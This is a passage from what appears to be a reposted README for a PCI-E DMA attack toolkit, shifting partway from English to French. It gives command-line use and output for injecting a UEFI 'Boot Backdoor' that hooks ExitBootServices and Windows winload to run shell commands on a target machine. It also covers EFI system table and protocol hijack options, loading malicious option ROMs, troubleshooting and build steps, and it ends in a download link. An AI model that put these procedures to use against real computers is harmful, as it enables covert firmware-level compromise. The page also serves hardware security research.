Now, when Boot Backdoor with its payload was successfully loaded, you can run uefi_backdoor_boot_shell.py with --attach option to communicate with currently running instance of DMA Shell:``` $ ./uefi_backdoor_boot_shell.py --attach --command "hostname" [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Payload shared memory region is at 0x00200000 [+] Executing command: hostname [+] Process exit code: 0x00000000

DESKTOP-E52IJJ8

root@kitploit:~
De plus, vous pouvez utiliser l'option `--debug-output` pour obtenir les messages de débogage du pilote Boot Backdoor UEFI DXE et les imprimer sur stdout :```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000

DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) :   Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20

To get more information about Boot Backdoor use cases and features check its README file which contains detailed information.

Python programs uefi_backdoor_simple.py, uefi_backdoor_hv.py, uefi_backdoor_boot.py and uefi_backdoor_boot_shell.py support two different ways to pass execution to the injected UEFI DXE driver image:

  • EFI_SYSTEM_TABLE hijack − scan system memory down from physical address 0xf0000000 to 0 with 0x10000 bytes step in order to find EFI system table by its signature and patch LocateProtocol() function address. To override memory scan options you can use SCAN_FROM and SCAN_STEP environment variables.

  • PROTOCOL_ENTRY hijack − scan system memory up from physical address 0x76000000 to 0xa0000000 with 0x1000 bytes step to find EFI_CPU_IO2_PROTOCOL structure of CPU I/O 2 protocol and patch one of its functions. To override memory scan options you can use SCAN_FROM, SCAN_TO and SCAN_STEP environment variables.

By default all four programs are using EFI system table hijack method, to use protocol entry method instead you can pass --inj-prot command line option to the appropriate program. To reduce amount of time required to perform the attack you can specify previously found EFI_SYSTEM_TABLE structure address using --system-table option and PROTOCOL_ENTRY structure address using --prot-entry option. Also, all four Python programs has --test command line option, this option is used to do the memory scan and find required structures addresses without performing an actual hijack of the execution flow. So, during the first boot you can run desired program with --test option to find needed address and during the second boot you can run the same program with --system-table or --prot-entry option to specify that address.

During development of malicious code for pre-boot DMA attacks it's important to have an information about execution environment of UEFI DXE phase. To collect such information you can turn the target computer on, enter into the BIOS setup menu or boot options menu to pause loading of the operating system and run uefi.py program without arguments. This program will scan physical memory of the target computer and print various information about existing UEFI DXE protocols and interfaces, loaded UEFI drivers, UEFI descriptor tables and ACPI tables. Here you can see an example of information obtained by uefi.py program while using AAEON UP Squared mini-PC as attack target.

Option ROM attacks

Provided bitstream can emulate PCI-E option ROM stored in onboard linear flash memory of SP605. Although modern platforms mitigates option ROM attacks, this feature still could be useful for security audit or prototyping purposes.

You can manage option ROM images using pcie_rom_ctl.py Python program.
Erasing option ROM contents:``` $ ./pcie_rom_ctl.py --erase [+] Opening PCI-E device... [+] Enabling resident mode... [+] Erasing option ROM... [+] Done

root@kitploit:~
Chargement de l'exemple d'option ROM UEFI fourni dans la carte :```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done

Il existe également une option pour journaliser les accès mémoire de l'option ROM dans l'UART de débogage de la carte SP605. Pour activer ou désactiver cette option, utilisez les paramètres --log-on et --log-off du programme ./pcie_rom_ctl.py.

Pour vérifier le bon fonctionnement du support de l'option ROM sous Linux, vous pouvez procéder comme suit.
Tout d'abord, trouvez l'adresse bus-fonction-périphérique du périphérique PCI-E de la carte SP605 :```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Device 1337

root@kitploit:~
Ensuite, définissez le bit d'activation du registre de commande afin que le système cible transmette au périphérique PCI-E toutes les tentatives d'accès mémoire aux plages de mémoire physique de la ROM d'option :```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom

Maintenant, vous pouvez extraire le contenu de l'option ROM précédemment chargée à l'aide de la commande dd et du pseudo-fichier approprié de sysfs :```

dd if=/sys/bus/pci/devices/0000:01:00.0/rom | hexdump -Cv

00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

...

root@kitploit:~
Dans le cas où l'option `--log-on` du programme `pcie_rom_ctl.py` a été spécifiée lors de la configuration, vous verrez les messages suivants dans la console UART de débogage de la carte SP605 lors du dump de l'option ROM :```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C

...

Dépannage

Le bus PCI Express est un bus à très haute vitesse et très complexe, donc beaucoup de choses peuvent mal tourner. Si l'attaque DMA ne fonctionne pas sur votre configuration, vous pouvez vérifier les points suivants pour déterminer le problème exact :

  • La LED DS3 est allumée lorsque la liaison PCI-E physique est active et DS4 est allumée lorsque le root complex a assigné l'adresse bus-device-function à notre endpoint PCI-E. Si DS3 est éteinte, cela indique probablement un problème de connectivité physique − vérifiez vos risers, câbles, etc. Si DS3 est allumée mais DS4 est éteinte, cela signifie que vous devez redémarrer votre cible d'attaque ou forcer un rescan des périphériques PCI-E de son côté.

  • La LED DS5 est allumée pendant une réinitialisation du bus PCI-E ; si elle est toujours allumée, cela signifie un problème de connectivité physique.

  • Si le root complex envoie un TLP Cpl au lieu d'un TLP CplD en réponse à une requête de lecture mémoire, cela signifie que l'accès mémoire a été rejeté en raison d'une adresse invalide ou de contrôles d'accès imposés par l'IOMMU. De plus, une machine x86 typique peut ne pas répondre du tout aux requêtes de lecture mémoire vers certaines régions MMIO de l'espace d'adressage physique.

  • Si le logiciel reçoit des TLP incohérents ou invalides du root complex en réponse aux requêtes de lecture mémoire, vous pouvez essayer de définir une valeur plus petite de la constante MEM_RD_TLP_LEN dans pcie_lib.py pour diviser les données de réponse en plus petits morceaux. Il est également utile d'exécuter le programme avec la variable d'environnement DEBUG_TLP=1 et de vérifier le dump des TLP TX/RX bruts.

Construction du projet à partir du code source

  1. Installez Xilinx ISE 13.4 qui est fourni avec votre carte SP605 et ouvrez le fichier projet s6_pcie_microblaze.xise.

  2. Régénérez les cœurs s6_pcie_v2_4 et fifo_generator_v8_4 présents dans la hiérarchie du projet.

  3. Cliquez sur l'instance microblaze_i dans la hiérarchie du projet et exécutez « Export Hardware Design to SDK With Bitstream ».

  4. Lorsque la compilation sera terminée, ISE ouvre l'IDE Xilinx Software Development Kit ; utilisez le dossier sdk comme espace de travail.

  5. Créez un nouveau package de support de carte autonome dans l'arborescence de votre projet Xilinx SDK, choisissez les bibliothèques lwIP et xilflash dans la configuration BSP.

  6. Importez les projets sdk/srec_bootloader_0 et sdk/main_0 dans l'arborescence du projet et lancez la compilation.

  7. Exécutez make bitstream && make srec depuis l'invite de commande Xilinx ISE pour générer les fichiers de sortie nécessaires.

Développé par

Dmytro Oleksiuk (aka Cr4sh)

[email protected]
http://blog.cr4.sh
@d_olex

Télécharger l’outil